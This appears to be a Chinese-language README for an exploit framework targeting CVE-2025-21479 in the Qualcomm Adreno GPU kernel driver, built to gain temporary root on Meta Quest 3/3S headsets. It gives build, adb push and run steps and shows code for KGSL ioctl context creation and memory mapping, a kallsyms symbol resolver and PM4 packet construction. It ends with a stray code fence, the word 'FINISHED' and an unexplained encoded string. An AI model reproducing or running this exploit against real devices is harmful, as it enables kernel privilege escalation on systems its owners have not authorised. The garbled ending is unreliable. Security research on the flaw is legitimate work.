Adreno GPU 内核漏洞利用框架 (CVE-2025-21479)
本项目是一个针对高通 Adreno GPU 内核驱动漏洞(CVE-2025-21479)的利用框架。该项目基于 Google Project Zero 的 adrenalin 研究成果,实现了在受影响的设备上(如 Meta Quest 3/3S)进行本地权限提升(LPE)的技术验证。通过深入操作 KGSL(Kernel Graphics Support Layer)接口,该利用能够绕过内核内存保护,为安全研究和漏洞分析提供了宝贵的实战案例。
功能特性
- CVE-2025-21479 漏洞利用:核心针对 Qualcomm Adreno GPU 驱动中的漏洞,实现对受影响设备内核的临时控制。
- KGSL 接口深度操作:包含对
kgsl_drawctxt_create、kgsl_map_user_mem等关键 IOCTL 的封装与利用,突破 GPU 内存访问限制。 - 内核符号解析:实现
kallsyms解析器,可从内核镜像中动态定位关键符号地址,提高利用的通用性。 - 临时 Root 权限获取:在受支持的固件版本上,成功利用后可获得设备的临时 root 权限。
- 多平台支持:明确支持特定版本的 Quest 3/3S 设备,并提供针对不同内核版本的适应性代码。
安装指南
系统要求
- 受影响的 Meta Quest 3/3S 设备,固件版本需在补丁版本之前(具体见上文“功能特性”中的支持版本)。
- Android NDK(版本 26+)用于编译可执行文件。
- 启用了开发者模式的设备。
编译步骤
-
克隆仓库
git clone https://github.com/zhuowei/cheese.git cd cheese -
使用 NDK 编译 项目提供了一个用于交叉编译的脚本或命令示例。确保你的 NDK 路径正确。
# 示例编译命令(根据你的 NDK 路径调整) export NDK=~/Library/Android/sdk/ndk/26.1.10909125 $NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android34-clang -o cheese cheese.c -
推送到设备
adb push cheese /data/local/tmp/ adb shell chmod 755 /data/local/tmp/cheese
使用说明
基础使用示例
在目标设备上执行编译好的 cheese 二进制文件即可触发漏洞利用。
adb shell
cd /data/local/tmp
./cheese
典型使用场景
- 安全研究:分析 Adreno GPU 驱动漏洞的利用技术。
- 临时权限提升:在设备上获得 root shell 以进行更深层次的系统调试或数据备份。
- 漏洞验证:确认目标设备是否受 CVE-2025-21479 影响。
核心 API 概览
框架的核心操作围绕 KGSL 驱动展开,主要通过封装后的函数与内核交互:
kgsl_ctx_create0: 创建一个使用特定 ringbuffer 的 KGSL 上下文,为后续利用做准备。kgsl_map: 将用户空间的内存映射到 GPU 地址空间,实现用户与 GPU 的内存共享,是漏洞利用的关键步骤。kgsl_ctx_destroy: 清理已创建的 GPU 上下文,用于恢复环境或处理错误。cheese_kallsyms_lookup: 内核符号查找函数,用于定位内核中的关键函数地址。
核心代码
KGSL 上下文创建与内存映射
以下代码展示了如何通过 IOCTL 与 KGSL 驱动交互,创建 GPU 上下文并映射用户内存。这是利用漏洞建立内存读写能力的基础。
// 创建 KGSL 上下文,指定 ringbuffer 0
int kgsl_ctx_create0(int fd, uint32_t *ctx_id) {
struct kgsl_drawctxt_create req = {
.flags = 0x00001812, // 低优先级,使用 ringbuffer 0
};
int ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &req);
if (ret) return ret;
*ctx_id = req.drawctxt_id;
return 0;
}
// 将用户空间内存映射到 GPU 地址空间
int kgsl_map(int fd, unsigned long addr, size_t len, uint64_t *gpuaddr) {
struct kgsl_map_user_mem req = {
.len = len,
.hostptr = addr, // 用户空间地址
.memtype = KGSL_USER_MEM_TYPE_ADDR,
};
int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &req);
if (ret) return ret;
*gpuaddr = req.gpuaddr; // 获取 GPU 侧地址
return 0;
}
内核符号解析器
为了在不知道内核确切布局的情况下找到关键函数,项目实现了基于 kallsyms 的符号查找功能,大大提高了利用的通用性和稳定性。
// 解压并解析内核符号表
static size_t decompress_string(uint8_t* p, const char* kallsyms_token_table,
const uint16_t* kallsyms_token_index,
char* output) {
uint8_t count = *p;
char* s = output;
for (int i = 0; i < count; i++) {
const char* token = kallsyms_token_table + kallsyms_token_index[p[i + 1]];
size_t token_length = strlen(token);
if (s) {
strcpy(s, token);
s += token_length;
}
}
if (s) *s = 0;
return (s - output);
}
// 在内存中查找特定字符串最后一次出现的位置
static void* memmem_last(const void* big, size_t big_len, const void* little,
size_t little_len) {
for (const void* p = big + big_len - little_len; p >= big; p--) {
if (!memcmp(p, little, little_len)) return (void*)p;
}
return NULL;
}
PM4 命令包构造
利用过程中需要向 GPU 发送特定的 PM4 命令包来触发漏洞。代码中内联了大量辅助函数,用于正确构造这些命令。
// 计算奇偶校验位,用于构造类型7的命令包
static inline uint pm4_calc_odd_parity_bit(uint val) {
return (0x9669 >> (0xf & ((val) ^
((val) >> 4) ^ ((val) >> 8) ^ ((val) >> 12) ^
((val) >> 16) ^ ((val) >> 20) ^ ((val) >> 24) ^
((val) >> 28)))) & 1;
}
// 构造类型7的命令包头部
static inline uint cp_type7_packet(uint opcode, uint cnt) {
return CP_TYPE7_PKT | ((cnt) << 0) |
(pm4_calc_odd_parity_bit(cnt) << 15) |
(((opcode) & 0x7F) << 16) |
((pm4_calc_odd_parity_bit(opcode) << 23));
}
// 生成一个等待 GPU 空闲的命令
static inline uint cp_wait_for_idle(uint *cmds) {
uint *start = cmds;
*cmds++ = cp_type7_packet(CP_WAIT_FOR_IDLE, 0);
return cmds - start;
}
```FINISHED
6HFtX5dABrKlqXeO5PUv/4gtRWtPUAtlhlAdZXVIacM=